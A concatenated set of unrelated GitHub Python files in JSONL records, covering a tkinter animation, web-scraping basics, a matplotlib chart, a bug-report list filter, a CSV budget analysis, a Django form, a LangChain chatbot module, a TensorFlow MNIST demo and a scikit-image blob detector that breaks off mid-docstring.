if coordinates3[1] >= (HEIGHT - image_height_3) or coordinates3[1] < 0:\n yVelocity3 = -yVelocity3\n\n canvas.move(my_image_1, xVelocity1, yVelocity1)\n canvas.move(my_image_2, xVelocity2, yVelocity2)\n canvas.move(my_image_3, xVelocity3, yVelocity3)\n\n window.update()\n time.sleep(0.01)\n\nwindow.mainloop()\n","repo_name":"Darek-Ryszka/Python_Multiple-Animations-2D","sub_path":"Multiple_animations_2D.py","file_name":"Multiple_animations_2D.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13524917376","text":"import requests\nfrom bs4 import BeautifulSoup\n\npage =requests.get(\"http://dataquestio.github.io/web-scraping-pages/ids_and_classes.html\")\nprint(page.status_code) ### Code 200 prints if the request is successful\n ### Codes starting with 4 or 5 is a failure\n\n# > print(page.content) ### Code to print the contents of the page.\n\nsoup = BeautifulSoup(page.content, 'html.parser')\n\n# > print(soup.prettify()) ### Print the content properly\n\noutertext_tags = soup.find_all('p', class_='outer-text') ### All the p tags with outer-text class label.\n\nprint(outertext_tags) ### Print p tags with outer-text class label.\n\nid_first_tags = soup.find_all(id=\"first\") ### All the tags with first ID label.\n\nprint(id_first_tags) ### Print tags with first ID label.\n\n# > list(soup.children) ### Creates a list of children of main file.\n\n# > html = list(soup.children)[2] ### This puts all HTML style (found in index 2) code into \"html\"\n\n# > list(html.children) ### This puts all tags under in a list\n\n# > body = list(html.children)[3] ### This puts all code in body (found in index 3) into \"body\"\n\n# > list(body.children) ### This puts all tags under in a list\n\n# > p = list(body.children)[1] ### Isolating the p tag\n\n# > print(p.get_text()) ### Print the content in the p tag and using .get_text\n\n# > soup.find_all('p') ### Creates list of all the p tags\n\n# > print(soup.find_all('p')[0].get_text()) ### prints the first thing in the list of p's\n\n# > soup.find ('p') ### this finds first instance of p\n\n###Using CSS Selectors\n\nsoup.select(\"div p\") # The returns all p tags inside of div\n\n\n\n\n\n\n\n","repo_name":"ankit1765/Web-Scrapping-","sub_path":"Learning_Basics.py","file_name":"Learning_Basics.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"4152588841","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nlabels = ['Java', 'Python', 'JavaScript']\njava = [78.28, 82.18, 75.47]\npython = [7.27, 7.03, 8.23]\njs = [14.45, 8.23, 16.30]\n\nx = np.arange(len(labels)) # the label locations\nbarWidth = 0.25 # the width of the bars\nr1 = np.arange(len(labels))\nr2 = [x + barWidth for x in r1]\nr3 = [x + barWidth for x in r2]\n\nfig, ax = plt.subplots()\n# ax.set_ylim(100)\n# ax.set_ybound(85)\n# Make the plot\nrects1 = ax.bar(r1, java, color='#7f3d5f', width=barWidth, edgecolor='white', label='Boiler-Plate')\nrects2 = ax.bar(r2, python, color='#557f2d', width=barWidth, edgecolor='white', label='Fair')\nrects3 = ax.bar(r3, js, color='#2d7f5e', width=barWidth, edgecolor='white', label='Good')\n\n# Add some text for labels, title and custom x-axis tick labels, etc.\n# ax.set_ylabel('percentage')\n# ax.set_title('Scores by group and gender')\n# ax.set_xticks([r + barWidth for r in range(len(java))], labels)\n# ax.xticks([r + barWidth for r in range(len(java))], labels)\nax.set_xticks([0.25,1.25,2.25])\nax.set_xticklabels(labels)\nax.legend()\n\n\ndef autolabel(rects):\n \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n for rect in rects:\n height = rect.get_height()\n ax.annotate('{}%'.format(height),\n xy=(rect.get_x() + rect.get_width() / 2, height),\n xytext=(0, 3), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='bottom')\n\n\nautolabel(rects1)\nautolabel(rects2)\nautolabel(rects3)\n\nfig.tight_layout()\nplt.savefig(\"snippet_category.png\", dpi=150)\nplt.show()\n","repo_name":"MRHMisu/JS-Online-Clone-Analysis","sub_path":"src/result/snippet-types-distribution.py","file_name":"snippet-types-distribution.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74157727784","text":"from os import path\nimport csv\n\n# individual bugs in each file would need to be separated by two new lines [YOU CAN CHANGE DELIMITER IF YOU WANT]\n\nDELIMITER = '\\n\\n'\n\n\nclass filterBugReport:\n def __init__(self):\n \"\"\"\n put contents of blackfile, whitefile, and bug report into arrays/columns according to delimiter (???)\n does not do anything if there is no files that exist\n \"\"\"\n # print(\"***Filtering bug reports with white/black lists***\\n\")\n if path.exists(\"black.list\"):\n self.blackfile = open(\"black.list\", 'r')\n self.black_data = self.blackfile.read().split(DELIMITER)\n # blackfile.close()\n else:\n self.createBlackList()\n if path.exists(\"white.list\"):\n self.whitefile = open(\"white.list\", 'r')\n self.white_data = self.whitefile.read().split(DELIMITER)\n # whitefile.close()\n else:\n self.createWhiteList()\n if path.exists(\"bugs.list\"):\n bugfile = open(\"bugs.list\", 'r')\n self.bugs = bugfile.read().split(DELIMITER)\n bugfile.close()\n\n def check_in_both(self):\n \"\"\"\n check if item in whitelist appears in blacklist before any filtering process\n raise exception if subset is found\n \"\"\"\n if set(self.white_data).issubset(self.black_data):\n raise Exception(\"WARNING: Whitelist content also appears in Blacklist content\")\n\n def filter_process(self):\n \"\"\"\n remove item in bug report that appears in blacklist\n add item in whitelist to bug report (NO DUPLICATES)\n \"\"\"\n self.bugs = [item for item in self.bugs if item not in self.black_data]\n for item in self.white_data:\n if item not in self.bugs:\n self.bugs.append(item)\n\n def create_new_report(self):\n \"\"\"\n create a new bug report array after filtering process\n \"\"\"\n if path.exists(\"bugs.list\"):\n with open(\"bugs.list\", 'w') as newBugReport:\n writer = csv.writer(newBugReport, delimiter='\\n')\n writer.writerow(self.bugs)\n\n def createWhiteList(self):\n '''\n Return the data in the white list\n\n create a new white list\n '''\n if not path.exists(\"white.list\"):\n self.whitefile = open(\"white.list\", 'w+')\n self.white_data = self.whitefile.read().split(DELIMITER)\n return self.white_data\n\n def createBlackList(self):\n '''\n Return the data in the black list\n\n create a new black list\n '''\n if not path.exists(\"black.list\"):\n self.blackfile = open(\"black.list\", 'w+')\n self.black_data = self.blackfile.read().split(DELIMITER)\n return self.black_data\n\n def isScriptBlackedOrWhited(self, fileType, userScript):\n '''\n Return boolean\n\n Does check for the existence of script being execute in either of the white or black list\n '''\n fileType = ''.join(fileType)\n if userScript in fileType:\n return True\n return False\n\n def appendFile(self, files, data):\n '''\n Does append the lists according to the file type passed\n '''\n if files == \"black.list\":\n if not (self.isScriptBlackedOrWhited(self.black_data, data)):\n with open(\"black.list\", 'a+') as blackFile:\n blackFile.write(data + \"\\n\")\n elif files == \"white.list\":\n if not (self.isScriptBlackedOrWhited(self.white_data, data)):\n with open(\"white.list\", 'a+') as whitefile:\n whitefile.write(data + \"\\n\")\n","repo_name":"Danc2050/TheBugTracker","sub_path":"src/FilterLists.py","file_name":"FilterLists.py","file_ext":"py","file_size_in_byte":3706,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"38919647271","text":"# Modules\r\nimport os\r\nimport csv\r\n\r\n# Set path for file\r\nbudget_data = os.path.join(\"Resources\", \"budget_data.csv\")\r\n\r\n# Open and read the CSV file\r\nwith open(budget_data, newline=\"\") as csvfile:\r\n csvreader = csv.reader(csvfile, delimiter=',')\r\n csv_header = next(csvreader)\r\n \r\n # Declare profits and months \r\n Profit = []\r\n months = []\r\n\r\n # loop to read each row of data\r\n for rows in csvreader:\r\n Profit.append(int(rows[1]))\r\n months.append(rows[0])\r\n\r\n # loop to find the profit change\r\n profit_change =[]\r\n\r\n for x in range(1, len(Profit)):\r\n profit_change.append((int(Profit[x]) - int(Profit[x-1])))\r\n\r\n # find the average profit change\r\n profit_average = round((sum(profit_change) / len(profit_change)),2)\r\n \r\n\r\n # find the total length of months\r\n total_months = len(months)\r\n\r\n # greatest increase in profit\r\n greatest_increase = max(profit_change)\r\n\r\n #greatest decrease in profit\r\n greatest_decrease = min(profit_change)\r\n\r\n\r\n # Print Results on the screen\r\n print() \r\n print (\"Financial Analysis\"+\"\\n\")\r\n \r\n print(\"------------------------------------------\"+\"\\n\")\r\n \r\n print (\"Total Months:\" + str(total_months)+\"\\n\")\r\n\r\n\r\n print(\"Total:\" + \"$\" + str(sum(Profit))+\"\\n\")\r\n \r\n print (\"Average Change:\" + \"$\" + str(profit_average)+\"\\n\")\r\n \r\n print(\"Greatest Increase in Profits: \" + str(months[profit_change.index(max(profit_change))+1]) + \" \" + \"($\" + str(greatest_increase)+\")\"+\"\\n\")\r\n \r\n print(\"Greatest Decrease in Profits: \" + str(months[profit_change.index(min(profit_change))+1]) + \" \" + \"($\" + str(greatest_decrease)+\")\"+\"\\n\")\r\n \r\n\r\n # Write to my output text file\r\n file = open(\"output.txt\",\"w\")\r\n\r\n file.write(\"Financial Analysis\"+\"\\n\\n\")\r\n \r\n file.write(\"--------------------------------------\"+\"\\n\\n\")\r\n\r\n file.write(\"total months: \" + str(total_months)+\"\\n\\n\")\r\n\r\n file.write(\"Total: \" + \"$\" + str(sum(Profit))+\"\\n\\n\")\r\n\r\n file.write(\"Average change: \" + \"$\" + str(profit_average)+\"\\n\\n\")\r\n\r\n file.write(\"Greatest Increase in Profits: \" + str(months[profit_change.index(max(profit_change))+1]) + \" \" + \"($\" + str(greatest_increase)+\")\"+\"\\n\\n\")\r\n\r\n file.write(\"Greatest Decrease in Profits: \" + str(months[profit_change.index(min(profit_change))+1]) + \" \" + \"($\" + str(greatest_decrease)+\")\"+\"\\n\\n\")\r\n\r\n file.close()","repo_name":"AnaTipps/Python-challenge","sub_path":"Python-challenge/PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"10514178008","text":"from django import forms\nfrom .models import Service, PriceType\n\nclass ServiceForm(forms.ModelForm):\n\n class Meta:\n model = Service\n exclude = ['companion']\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n price_types = PriceType.objects.all()\n friendly_names = [(type.id, type.get_friendly_name()) for type in price_types]\n\n self.fields['price_type'].choices = friendly_names\n for field_name, field in self.fields.items():\n field.widget.attrs['class'] = 'border-black rounded-0'\n\n self.fields['icon'].label = \"FontAwesome icon class\"\n","repo_name":"rbsam176/ms4-codecompanion","sub_path":"services/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"35770181726","text":"import asyncio\nfrom typing import List\n\nfrom langchain.chains import LLMChain\nfrom langchain.chat_models import ChatOpenAI\nfrom langchain.embeddings import OpenAIEmbeddings\nfrom langchain.prompts import (\n ChatPromptTemplate,\n HumanMessagePromptTemplate,\n MessagesPlaceholder,\n SystemMessagePromptTemplate,\n)\nfrom learn.idf import categorize_conversation_history\nfrom llm.memory import generate_memory_instance\nfrom models import CompanyContent\nfrom models.db import session\nfrom settings import OPENAI_API_KEY, PROJECT_CONFIG, VERBOSE_LLM\nfrom sqlalchemy import asc, select\n\nCHAT_LLM = ChatOpenAI(\n openai_api_key=OPENAI_API_KEY,\n model_name=\"gpt-3.5-turbo\",\n temperature=0.2,\n)\nEMBEDDINGS_LLM = OpenAIEmbeddings(openai_api_key=OPENAI_API_KEY)\nPROMPT = PROJECT_CONFIG.get(\"prompt\")\n\n\ndef generate_embeddings(documents: List[str]):\n \"\"\"\n Generate embeddings for a list of documents\n \"\"\"\n return EMBEDDINGS_LLM.embed_documents(documents)\n\n\ndef generate_embedding(document: str):\n \"\"\"\n Generate embeddings for a single instance of document\n \"\"\"\n return EMBEDDINGS_LLM.embed_query(document)\n\n\ndef get_most_relevant_contents_from_message(message, top=5):\n message_embedding = generate_embedding(message)\n possible_contents = session.scalars(\n select(CompanyContent).filter(\n CompanyContent.embedding.l2_distance(message_embedding) < 5\n ).order_by(\n asc(CompanyContent.embedding.l2_distance(message_embedding))\n ).limit(top)\n ).all()\n return possible_contents\n\n\ndef process_user_intent(session_id, message):\n \"\"\"\n Process user intent using memory and embeddings\n \"\"\"\n # top 2 most relevant contents\n relevant_contents = get_most_relevant_contents_from_message(message, top=2)\n\n suggested_content = \"\\n\\n\".join([f\"{c.question}\\n{c.content}\\n\\n\"\n for c in relevant_contents])\n\n prompt_templating = [\n SystemMessagePromptTemplate.from_template(PROMPT.get(\"header\")),\n MessagesPlaceholder(variable_name=\"chat_history\"),\n ]\n\n # append prompt content subcategory\n if PROMPT.get(\"subcategory\"):\n subprompt_subcategory = PROMPT.get(\"subcategory\")\n for c in relevant_contents:\n if subprompt_subcategory.get(c.subcategory):\n subprompt = subprompt_subcategory.get(c.subcategory)\n prompt_templating.append(\n SystemMessagePromptTemplate.from_template(\n f\"{subprompt.get('header')}\\n\\n\"))\n\n # append prompt content suggestions\n if len(relevant_contents) > 0:\n prompt_templating.append(\n SystemMessagePromptTemplate.from_template(\n f\"{PROMPT.get('suggested')}\\n\\n{suggested_content}\"))\n\n prompt_templating.append(\n HumanMessagePromptTemplate.from_template(\"{user_message}\"))\n\n prompt = ChatPromptTemplate(\n messages=prompt_templating\n )\n\n psql_memory = generate_memory_instance(session_id)\n conversation = LLMChain(\n llm=CHAT_LLM,\n prompt=prompt,\n verbose=VERBOSE_LLM\n )\n ai_message = conversation({\n \"user_message\": message,\n \"chat_history\": psql_memory.messages\n })\n psql_memory.add_user_message(message)\n psql_memory.add_ai_message(ai_message[\"text\"])\n\n # categorize conversation history in background\n asyncio.create_task(categorize_conversation_history(psql_memory))\n\n return ai_message\n","repo_name":"walison17/dialog","sub_path":"src/llm/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"36"} +{"seq_id":"40086964699","text":"# coding: utf-8\nimport tensorflow as tf\n# auto download MNIST data\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n\nx = tf.placeholder(tf.float32, [None, 784]) # None 代表任意长度\nW = tf.Variable(tf.zeros([784, 10])) # weight\nb = tf.Variable(tf.zeros([10])) # bias\ny = tf.nn.softmax(tf.matmul(x, W) + b) # [None*784] * [784*10]\n\n# create a new placeholder to save correct answers\ny_ = tf.placeholder(tf.float32, [None, 10])\n\n# 计算交叉熵,具体见交叉熵计算公式 tf.log(y) 计算y中所有元素的log值 reduction_indices=[1] 横向压扁,0是纵向压扁\n# cross_entropy = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y), reduction_indices=[1]))\n# 上面的代码虽然按照公式实现,但是数字不稳定,更稳定的方法是使用softmax_cross_entropy_with_logits接口\ncross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y))\n\ntrain_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\nsess = tf.InteractiveSession()\ntf.global_variables_initializer().run()\nfor _ in range(1000):\n batch_xs, batch_ys = mnist.train.next_batch(100)\n sess.run(train_step, feed_dict={x: batch_xs, y_: batch_ys})\ncorrect_prediction = tf.equal(tf.argmax(y,1), tf.argmax(y_,1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\nprint(sess.run(accuracy, feed_dict={x: mnist.test.images, y_: mnist.test.labels}))\n","repo_name":"wsgan001/TFBoy","sub_path":"demos/MNIST/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"28068961992","text":"import sys\n\ninput = sys.stdin.readline\n\neng_list = {'zero': 0, 'one': 1, 'two': 2, 'three': 3, 'four': 4, 'five': 5,\n 'six': 6, 'seven': 7, 'eight': 8, 'nine': 9}\n\ndef solution(s):\n for idx, value in eng_list.items():\n s = s.replace(idx, str(value))\n return int(s)","repo_name":"hwanginbeom/algorithm_study","sub_path":"2.algorithm_test/22.01.14/22.01.14_gyeonghyeon.py","file_name":"22.01.14_gyeonghyeon.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"22565698118","text":"from abc import ABC, abstractmethod\nfrom functools import partial\nfrom typing import Any, Dict, Optional, Tuple\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\n\nfrom shap_e.models.nn.checkpoint import checkpoint\nfrom shap_e.models.nn.encoding import encode_position, spherical_harmonics_basis\nfrom shap_e.models.nn.meta import MetaModule, subdict\nfrom shap_e.models.nn.ops import MLP, MetaMLP, get_act, mlp_init, zero_init\nfrom shap_e.models.nn.utils import ArrayType\nfrom shap_e.models.query import Query\nfrom shap_e.util.collections import AttrDict\n\n\nclass NeRFModel(ABC):\n \"\"\"\n Parametric scene representation whose outputs are integrated by NeRFRenderer\n \"\"\"\n\n @abstractmethod\n def forward(\n self,\n query: Query,\n params: Optional[Dict[str, torch.Tensor]] = None,\n options: Optional[Dict[str, Any]] = None,\n ) -> AttrDict:\n \"\"\"\n :param query: the points in the field to query.\n :param params: Meta parameters\n :param options: Optional hyperparameters\n :return: An AttrDict containing at least\n - density: [batch_size x ... x 1]\n - channels: [batch_size x ... x n_channels]\n - aux_losses: [batch_size x ... x 1]\n \"\"\"\n\n\nclass VoidNeRFModel(MetaModule, NeRFModel):\n \"\"\"\n Implements the default empty space model where all queries are rendered as\n background.\n \"\"\"\n\n def __init__(\n self,\n background: ArrayType,\n trainable: bool = False,\n channel_scale: float = 255.0,\n device: torch.device = torch.device(\"cuda\"),\n ):\n super().__init__()\n background = nn.Parameter(\n torch.from_numpy(np.array(background)).to(dtype=torch.float32, device=device)\n / channel_scale\n )\n if trainable:\n self.register_parameter(\"background\", background)\n else:\n self.register_buffer(\"background\", background)\n\n def forward(\n self,\n query: Query,\n params: Optional[Dict[str, torch.Tensor]] = None,\n options: Optional[Dict[str, Any]] = None,\n ) -> AttrDict:\n _ = params\n default_bg = self.background[None]\n background = options.get(\"background\", default_bg) if options is not None else default_bg\n\n shape = query.position.shape[:-1]\n ones = [1] * (len(shape) - 1)\n n_channels = background.shape[-1]\n background = torch.broadcast_to(\n background.view(background.shape[0], *ones, n_channels), [*shape, n_channels]\n )\n return background\n\n\nclass MLPNeRFModel(MetaModule, NeRFModel):\n def __init__(\n self,\n # Positional encoding parameters\n n_levels: int = 10,\n # MLP parameters\n d_hidden: int = 256,\n n_density_layers: int = 4,\n n_channel_layers: int = 1,\n n_channels: int = 3,\n sh_degree: int = 4,\n activation: str = \"relu\",\n density_activation: str = \"exp\",\n init: Optional[str] = None,\n init_scale: float = 1.0,\n output_activation: str = \"sigmoid\",\n meta_parameters: bool = False,\n trainable_meta: bool = False,\n zero_out: bool = True,\n register_freqs: bool = True,\n posenc_version: str = \"v1\",\n device: torch.device = torch.device(\"cuda\"),\n ):\n super().__init__()\n\n # Positional encoding\n if register_freqs:\n # not used anymore\n self.register_buffer(\n \"freqs\",\n 2.0 ** torch.arange(n_levels, device=device, dtype=torch.float).view(1, n_levels),\n )\n\n self.posenc_version = posenc_version\n dummy = torch.eye(1, 3)\n d_input = encode_position(posenc_version, position=dummy).shape[-1]\n\n self.n_levels = n_levels\n\n self.sh_degree = sh_degree\n d_sh_coeffs = sh_degree**2\n\n self.meta_parameters = meta_parameters\n\n mlp_cls = (\n partial(\n MetaMLP,\n meta_scale=False,\n meta_shift=False,\n meta_proj=True,\n meta_bias=True,\n trainable_meta=trainable_meta,\n )\n if meta_parameters\n else MLP\n )\n\n self.density_mlp = mlp_cls(\n d_input=d_input,\n d_hidden=[d_hidden] * (n_density_layers - 1),\n d_output=d_hidden,\n act_name=activation,\n init_scale=init_scale,\n )\n\n self.channel_mlp = mlp_cls(\n d_input=d_hidden + d_sh_coeffs,\n d_hidden=[d_hidden] * n_channel_layers,\n d_output=n_channels,\n act_name=activation,\n init_scale=init_scale,\n )\n\n self.act = get_act(output_activation)\n self.density_act = get_act(density_activation)\n\n mlp_init(\n list(self.density_mlp.affines) + list(self.channel_mlp.affines),\n init=init,\n init_scale=init_scale,\n )\n\n if zero_out:\n zero_init(self.channel_mlp.affines[-1])\n\n self.to(device)\n\n def encode_position(self, query: Query):\n h = encode_position(self.posenc_version, position=query.position)\n return h\n\n def forward(\n self,\n query: Query,\n params: Optional[Dict[str, torch.Tensor]] = None,\n options: Optional[Dict[str, Any]] = None,\n ) -> AttrDict:\n params = self.update(params)\n\n options = AttrDict() if options is None else AttrDict(options)\n\n query = query.copy()\n\n h_position = self.encode_position(query)\n\n if self.meta_parameters:\n density_params = subdict(params, \"density_mlp\")\n density_mlp = partial(\n self.density_mlp, params=density_params, options=options, log_prefix=\"density_\"\n )\n density_mlp_parameters = list(density_params.values())\n else:\n density_mlp = partial(self.density_mlp, options=options, log_prefix=\"density_\")\n density_mlp_parameters = self.density_mlp.parameters()\n h_density = checkpoint(\n density_mlp,\n (h_position,),\n density_mlp_parameters,\n options.checkpoint_nerf_mlp,\n )\n h_direction = maybe_get_spherical_harmonics_basis(\n sh_degree=self.sh_degree,\n coords_shape=query.position.shape,\n coords=query.direction,\n device=query.position.device,\n )\n\n if self.meta_parameters:\n channel_params = subdict(params, \"channel_mlp\")\n channel_mlp = partial(\n self.channel_mlp, params=channel_params, options=options, log_prefix=\"channel_\"\n )\n channel_mlp_parameters = list(channel_params.values())\n else:\n channel_mlp = partial(self.channel_mlp, options=options, log_prefix=\"channel_\")\n channel_mlp_parameters = self.channel_mlp.parameters()\n h_channel = checkpoint(\n channel_mlp,\n (torch.cat([h_density, h_direction], dim=-1),),\n channel_mlp_parameters,\n options.checkpoint_nerf_mlp,\n )\n\n density_logit = h_density[..., :1]\n\n res = AttrDict(\n density_logit=density_logit,\n density=self.density_act(density_logit),\n channels=self.act(h_channel),\n aux_losses=AttrDict(),\n no_weight_grad_aux_losses=AttrDict(),\n )\n if options.return_h_density:\n res.h_density = h_density\n\n return res\n\n\ndef maybe_get_spherical_harmonics_basis(\n sh_degree: int,\n coords_shape: Tuple[int],\n coords: Optional[torch.Tensor] = None,\n device: torch.device = torch.device(\"cuda\"),\n) -> torch.Tensor:\n \"\"\"\n :param sh_degree: Spherical harmonics degree\n :param coords_shape: [*shape, 3]\n :param coords: optional coordinate tensor of coords_shape\n \"\"\"\n if coords is None:\n return torch.zeros(*coords_shape[:-1], sh_degree**2).to(device)\n\n return spherical_harmonics_basis(coords, sh_degree)\n","repo_name":"openai/shap-e","sub_path":"shap_e/models/nerf/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8080,"program_lang":"python","lang":"en","doc_type":"code","stars":10619,"dataset":"github-code","pt":"36"} +{"seq_id":"15548103968","text":"from sys import stdin\nfrom collections import deque\n\ndeltar = [-1, 0, 1, 0]\ndeltac = [ 0, 1, 0,-1]\ngrid,H,W = None,None,None\n\ndef next_states(i,j):\n ans = list()\n for k in range(4):\n dr,dc = i+deltar[k],j+deltac[k] \n if 0<=dr r1 + r2:\n return 0\n\n # one blob is inside the other, the smaller blob must die\n if d <= abs(r1 - r2):\n return 1\n\n ratio1 = (d ** 2 + r1 ** 2 - r2 ** 2) / (2 * d * r1)\n ratio1 = np.clip(ratio1, -1, 1)\n acos1 = arccos(ratio1)\n\n ratio2 = (d ** 2 + r2 ** 2 - r1 ** 2) / (2 * d * r2)\n ratio2 = np.clip(ratio2, -1, 1)\n acos2 = arccos(ratio2)\n\n a = -d + r2 + r1\n b = d - r2 + r1\n c = d + r2 - r1\n d = d + r2 + r1\n area = r1 ** 2 * acos1 + r2 ** 2 * acos2 - 0.5 * sqrt(abs(a * b * c * d))\n\n return area / (math.pi * (min(r1, r2) ** 2))\n\n\ndef _prune_blobs(blobs_array, probs_array, overlap):\n \"\"\"Eliminated blobs with area overlap.\n\n Parameters\n ----------\n blobs_array : ndarray\n A 2d array with each row representing 3 values, ``(y,x,sigma)``\n where ``(y,x)`` are coordinates of the blob and ``sigma`` is the\n standard deviation of the Gaussian kernel which detected the blob.\n overlap : float\n A value between 0 and 1. If the fraction of area overlapping for 2\n blobs is greater than `overlap` the smaller blob is eliminated.\n\n Returns\n -------\n A : ndarray\n `array` with overlapping blobs removed.\n \"\"\"\n\n # iterating again might eliminate more blobs, but one iteration suffices\n # for most cases\n for blob1, blob2 in itt.combinations(blobs_array, 2):\n if _blob_overlap(blob1, blob2) > overlap:\n if blob1[2] > blob2[2]:\n blob2[2] = -1\n else:\n blob1[2] = -1\n\n # return blobs_array[blobs_array[:, 2] > 0]\n filtered_blobs = []\n filtered_probs = []\n for i in range(len(blobs_array)):\n if blobs_array[i][2] > 0:\n filtered_blobs.append(blobs_array[i])\n filtered_probs.append(probs_array[i])\n \n return np.array(filtered_blobs), np.array(filtered_probs)\n\n\ndef blob_dog(image, min_sigma=1, max_sigma=50, sigma_ratio=1.6, threshold=2.0,\n overlap=.5,):\n \"\"\"Finds blobs in the given grayscale image.\n\n Blobs are found using the Difference of Gaussian (DoG) method [1]_.\n For each blob found, the method returns its coordinates and the standard\n deviation of the Gaussian kernel that detected the blob.\n\n Parameters\n ----------\n image : ndarray\n Input grayscale image, blobs are assumed to be light on dark\n background (white on black).\n min_sigma : float, optional\n The minimum standard deviation for Gaussian Kernel. Keep this low to\n detect smaller blobs.\n max_sigma : float, optional\n The maximum standard deviation for Gaussian Kernel. Keep this high to\n detect larger blobs.\n sigma_ratio : float, optional\n The ratio between the standard deviation of Gaussian Kernels used for\n computing the Difference of Gaussians\n threshold : float, optional.\n The absolute lower bound for scale space maxima. Local maxima smaller\n than thresh are ignored. Reduce this to detect blobs with less\n intensities.\n overlap : float, optional\n A value between 0 and 1. If the area of two blobs overlaps by a\n fraction greater than `threshold`, the smaller blob is eliminated.\n\n Returns\n -------\n A : (n, 3) ndarray\n A 2d array with each row representing 3 values, ``(y,x,sigma)``\n where ``(y,x)`` are coordinates of the blob and ``sigma`` is the\n standard deviation of the Gaussian kernel which detected the blob.\n\n References\n ----------\n .. [1] http://en.wikipedia.org/wiki/Blob_detection#The_difference_of_Gaussians_approach\n\n Examples\n --------\n >>> from skimage import data, feature\n >>> feature.blob_dog(data.coins(), threshold=.5, max_sigma=40)\n array([[ 267. , 359. , 16.777216],\n [ 267. , 115. , 10.48576 ],\n [ 263. , 302. , 16.777216],\n [ 263. , 245. , 16.777216],\n [ 261. , 173. , 16.777216],\n [ 260. , 46. , 16.777216],\n [ 198. , 155. , 10.48576 ],\n [ 196. , 43. , 10.48576 ],\n [ 195. , 102. , 16.777216],\n [ 194. , 277. , 16.777216],\n [ 193. , 213. , 16.777216],\n [ 185. , 347. , 16.777216],\n [ 128. , 154. , 10.48576 ],\n [ 127. , 102. , 10.48576 ],\n [ 125. , 208. , 10.48576 ],\n [ 125. , 45. , 16.777216],\n [ 124. , 337. , 10.48576 ],\n [ 120. , 272. , 16.777216],\n [ 58. , 100. , 10.48576 ],\n [ 54. , 276. , 10.48576 ],\n [ 54. , 42. , 16.777216],\n [ 52. , 216. , 16.777216],\n [ 52. , 155. , 16.777216],\n [ 45. , 336. , 16.777216]])\n\n Notes\n -----\n The radius of each blob is approximately :math:`\\sqrt{2}sigma`.\n \"\"\"\n assert_nD(image, 2)\n\n image = img_as_float(image)\n\n # k such that min_sigma*(sigma_ratio**k) > max_sigma\n k = int(log(float(max_sigma) / min_sigma, sigma_ratio)) + 1\n\n # a geometric progression of standard deviations for gaussian kernels\n sigma_list = np.array([min_sigma * (sigma_ratio ** i)\n for i in range(k + 1)])\n\n gaussian_images = [gaussian_filter(image, s) for s in sigma_list]\n\n # computing difference between two successive Gaussian blurred images\n # multiplying with standard deviation provides scale invariance\n dog_images = [(gaussian_images[i] - gaussian_images[i + 1])\n * sigma_list[i] for i in range(k)]\n image_cube = np.dstack(dog_images)\n\n # local_maxima = get_local_maxima(image_cube, threshold)\n local_maxima = peak_local_max(image_cube, threshold_abs=threshold,\n footprint=np.ones((3, 3, 3)),\n threshold_rel=0.0,\n exclude_border=False)\n # Catch no peaks\n if local_maxima.size == 0:\n return np.empty((0,3))\n\n probs = []\n for blob in local_maxima:\n probs.append(image_cube[blob[0], blob[1], blob[2]])\n\n # Convert local_maxima to float64\n lm = local_maxima.astype(np.float64)\n\n # Convert the last index to its corresponding scale value\n lm[:, 2] = sigma_list[local_maxima[:, 2]]\n local_maxima = lm\n\n return _prune_blobs(local_maxima, probs, overlap)\n\ndef blob_log(image, min_sigma=1, max_sigma=50, num_sigma=10, threshold=.2,\n overlap=.5, log_scale=False):\n \"\"\"Finds blobs in the given grayscale image.\n\n Blobs are found using the Laplacian of Gaussian (LoG) method [1]_.\n For each blob found, the method returns its coordinates and the standard\n deviation of the Gaussian kernel that detected the blob.\n\n Parameters\n ----------\n image : ndarray\n Input grayscale image, blobs are assumed to be light on dark\n background (white on black).\n min_sigma : float, optional\n The minimum standard deviation for Gaussian Kernel. Keep this low to\n detect smaller blobs\n max_sigma : float, optional\n The maximum standard deviation for Gaussian Kernel. Keep this high to\n detect larger blobs.\n num_sigma : int, optional\n The number of intermediate values of standard deviations to consider\n between `min_sigma` and `max_sigma`.\n threshold : float, optional.\n The absolute lower bound for scale space maxima. Local maxima smaller\n than thresh are ignored. Reduce this to detect blobs with less\n intensities.\n overlap : float, optional\n A value between 0 and 1. If the area of two blobs overlaps by a\n fraction greater than `threshold`, the smaller blob is eliminated.\n log_scale : bool, optional\n If set intermediate values of standard deviations are interpolated\n using a logarithmic scale to the base `10`. If not, linear\n interpolation is used.\n\n Returns\n -------\n A : (n, 3) ndarray\n A 2d 